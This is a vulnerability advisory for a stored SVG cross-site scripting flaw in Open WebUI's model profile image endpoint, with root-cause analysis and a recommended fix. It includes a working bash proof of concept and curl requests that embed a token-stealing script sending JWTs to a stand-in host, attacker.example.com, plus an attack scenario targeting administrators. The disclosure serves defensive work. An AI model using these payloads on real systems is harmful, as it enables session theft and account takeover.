CVE-2026-54013: Open WebUI: stored SVG XSS enables full account takeover

# Stored XSS to Account Takeover via Model Profile Images in Open WebUI **Affected:** Open WebUI <= 0.9.5 **Bypass of:** GHSA-3wgj-c2hg-vm6q, GHSA-3856-3vxq-m6fc --- ## TL;DR Open WebUI patched SVG XSS in user profile images and webhook profile images but forgot to apply the same fix to **model** profile images. The `ModelMeta` class has no `validate_profile_image_url` field validator, and the model image serving endpoint has no MIME allowlist or `nosniff` header. Any authenticated user with `workspace.models` permission (enabled by default) can store a `data:image/svg+xml;base64,...` payload in a model's profile image and achieve full account takeover of anyone who navigates to the image URL. --- ## Past of the issue In early 2025, two security advisories landed for Open WebUI: - **GHSA-3wgj-c2hg-vm6q** SVG XSS via user profile images - **GHSA-3856-3vxq-m6fc** SVG XSS via webhook profile images The patches were clean. A `validate_profile_image_url` function was introduced in `backend/open_webui/utils/validate.py` a compiled regex that restricts `data:` URIs to safe raster formats (`image/png`, `image/jpeg`, `image/gif`, `image/webp`), explicitly excluding `image/svg+xml` because SVG can carry embedded `<script>` tags. On the output side, `users.py` added a MIME allowlist check and `X-Content-Type-Options: nosniff`. The fix was applied to `UserUpdateForm`, `UpdateProfileForm`, and later to `ChannelWebhookForm`. Three models patched. Case closed. Except there was a fourth endpoint. ## The Gap Open WebUI has a concept of "Models" user-created model configurations with metadata including a profile image. The metadata lives in `ModelMeta`: ```python # backend/open_webui/models/models.py, line 37-47 class ModelMeta(BaseModel): profile_image_url: Optional[str] = '/static/favicon.png' description: Optional[str] = None capabilities: Optional[dict] = None model_config = ConfigDict(extra='allow') ``` No `@field_validator`. No import of `validate_profile_image_url`. `ModelMeta` accepts any string as `profile_image_url` including `data:image/svg+xml;base64,...`. The serving endpoint at `GET /api/v1/models/model/profile/image` has the same gap: ```python # backend/open_webui/routers/models.py, line 503-518 elif profile_image_url.startswith('data:image'): header, base64_data = profile_image_url.split(',', 1) image_data = base64.b64decode(base64_data) image_buffer = io.BytesIO(image_data) media_type = header.split(';')[0].lstrip('data:') headers = {'Content-Disposition': 'inline'} # ... return StreamingResponse( image_buffer, media_type=media_type, headers=headers, ) ``` No MIME allowlist. No `nosniff`. No CSP. The SVG is served inline with `Content-Type: image/svg+xml` on the application's origin. Compare this with the **patched** user endpoint: ```python # backend/open_webui/routers/users.py, line 497-509 media_type = header.split(';')[0].lstrip('data:').lower() if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES: # <-- ABSENT in models.py return FileResponse(f'{STATIC_DIR}/user.png') return StreamingResponse( image_buffer, media_type=media_type, headers={ 'Content-Disposition': 'inline', 'X-Content-Type-Options': 'nosniff', # <-- ABSENT in models.py }, ) ``` The fix exists. It just was never applied here. ## Comparison Table | Endpoint | Input Validation | MIME Allowlist | nosniff | Status | |----------|:---:|:---:|:---:|--------| | `GET /users/{id}/profile/image` | YES | YES | YES | **Patched** | | `GET /webhooks/{id}/profile/image` | YES | no | no | Partially patched | | `GET /models/model/profile/image` | **NO** | **NO** | **NO** | **Vulnerable** | ## Three Write Vectors The malicious SVG data URI can be injected through any of three endpoints all pass `ModelForm` containing `ModelMeta` without validation: 1. **`POST /api/v1/models/create`** (line 195) any user with `workspace.models` permission 2. **`POST /api/v1/models/update`** (line 581) model owner or admin 3. **`POST /api/v1/models/import`** (line 279) admin only The `workspace.models` permission is **enabled by default** for all non-pending users in a standard deployment. ## The Attack **Step 1 Store the payload:** ```bash SVG=$(echo '<svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token") </script> </svg>' | base64 -w0) curl -s -X POST 'https://TARGET/api/v1/models/create' \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"base_model_id\": \"gpt-4\", \"meta\": { \"profile_image_url\": \"data:image/svg+xml;base64,$SVG\", \"description\": \"Latest GPT-4 Turbo model\" }, \"params\": {}, \"access_grants\": [] }" ``` **Step 2 Victim navigates to the image URL:** ``` https://TARGET/api/v1/models/model/profile/image?id=gpt-4-turbo-preview ``` This happens naturally when a user right-clicks a model's avatar and selects "Open Image in New Tab", or when the attacker sends the URL directly (e.g., in a channel message). **Step 3 Token theft:** The server responds: ```http HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline <svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token") </script> </svg> ``` No `X-Content-Type-Options`. No `Content-Security-Policy`. The browser renders the SVG as a top-level document in the Open WebUI origin. The embedded `<script>` executes. `localStorage.getItem("token")` returns the victim's JWT. The attacker receives it and has full API access password changes, admin promotion, data exfiltration. ## PoC ```bash #!/usr/bin/env bash # PoC: Stored SVG XSS -> token theft via Open WebUI model profile image # Affected: open-webui <= 0.9.5 TARGET="http://localhost:8080" ATTACKER_TOKEN="<attacker_JWT_from_localStorage.token>" COLLECTOR="https://attacker.example.com/steal" # attacker-controlled listener # --- Step 1: Build the malicious SVG (steals victim JWT from localStorage) --- read -r -d '' SVG <<EOF <svg xmlns="http://www.w3.org/2000/svg"> <script> new Image().src="${COLLECTOR}?t="+encodeURIComponent(localStorage.getItem("token")); </script> </svg> EOF SVG_B64=$(printf '%s' "$SVG" | base64 -w0) # --- Step 2: Store the payload in a model's profile_image_url --- curl -s -X POST "${TARGET}/api/v1/models/create" \ -H "Authorization: Bearer ${ATTACKER_TOKEN}" \ -H "Content-Type: application/json" \ -d "{ \"id\": \"gpt-4-turbo-preview\", \"name\": \"GPT-4 Turbo\", \"base_model_id\": \"gpt-4\", \"meta\": { \"profile_image_url\": \"data:image/svg+xml;base64,${SVG_B64}\", \"description\": \"Latest GPT-4 Turbo\" }, \"params\": {}, \"access_grants\": [] }" # --- Step 3: Trigger (victim navigates here, or attacker sends the link) --- echo "Victim opens: ${TARGET}/api/v1/models/model/profile/image?id=gpt-4-turbo-preview" ``` Expected server response at Step 3 (the proof — SVG served inline, no defenses): ``` HTTP/1.1 200 OK content-type: image/svg+xml content-disposition: inline <svg xmlns="http://www.w3.org/2000/svg"> <script>new Image().src="https://attacker.example.com/steal?t="+localStorage.getItem("token")</script> </svg> ```` No X-Content-Type-Options, no Content-Security-Policy. The browser renders the SVG as a top-level document, the <script> executes in the Open WebUI origin, and the victim's JWT lands in the attacker's collector log. The attacker replays the JWT against the API for full account takeover (password change, admin promotion). Trigger note: because the frontend loads model avatars in `<img src=...>` context (where SVG scripts do not run), exploitation requires the victim to load the URL as a top-level document — e.g. right-click → "Open image in new tab", or clicking the raw link when the attacker pastes it into a channel/chat. That single click is the only user interaction needed. ## Root Cause An incomplete patch. When GHSA-3wgj-c2hg-vm6q was fixed, the validator was added to `UserUpdateForm` and `UpdateProfileForm`. When GHSA-3856-3vxq-m6fc was fixed, it was added to `ChannelWebhookForm`. But `ModelMeta` which uses the same `profile_image_url` field with the same serving logic was never touched. The output-side defenses (MIME allowlist + `nosniff`) were also only added to `users.py`, not to `models.py` or `channels.py`. ## Recommended Fix **Input side** add the validator to `ModelMeta`: ```python # backend/open_webui/models/models.py from open_webui.utils.validate import validate_profile_image_url class ModelMeta(BaseModel): profile_image_url: Optional[str] = '/static/favicon.png' # ... @field_validator('profile_image_url', mode='before') @classmethod def check_profile_image_url(cls, v): if v is None: return v return validate_profile_image_url(v) ``` **Output side** add MIME check and nosniff to the serving endpoint: ```python # backend/open_webui/routers/models.py media_type = header.split(';')[0].lstrip('data:').lower() if media_type not in PROFILE_IMAGE_ALLOWED_MIME_TYPES: return FileResponse(f'{STATIC_DIR}/favicon.png') return StreamingResponse( image_buffer, media_type=media_type, headers={ 'Content-Disposition': 'inline', 'X-Content-Type-Options': 'nosniff', }, ) ``` Both layers are necessary input validation prevents storage, output validation prevents serving even if a bypass is found later.

An attacker with a standard user account in a corporate Open WebUI deployment calls POST /api/v1/models/create, setting profile_image_url to a base64-encoded SVG containing a script that exfiltrates localStorage.getItem('token') to an attacker-controlled listener. The attacker then pastes the model image URL into a shared channel message or sends it directly to an admin. When the admin opens the URL in a new tab — a natural response to inspecting an unfamiliar model's avatar — the browser renders the SVG as a top-level document on the Open WebUI origin, executes the embedded script, and delivers the admin JWT to the attacker's collector. The attacker replays the JWT to promote their own account to admin and maintains persistent access even after the original session expires, with full control over models, users, and connected AI infrastructure.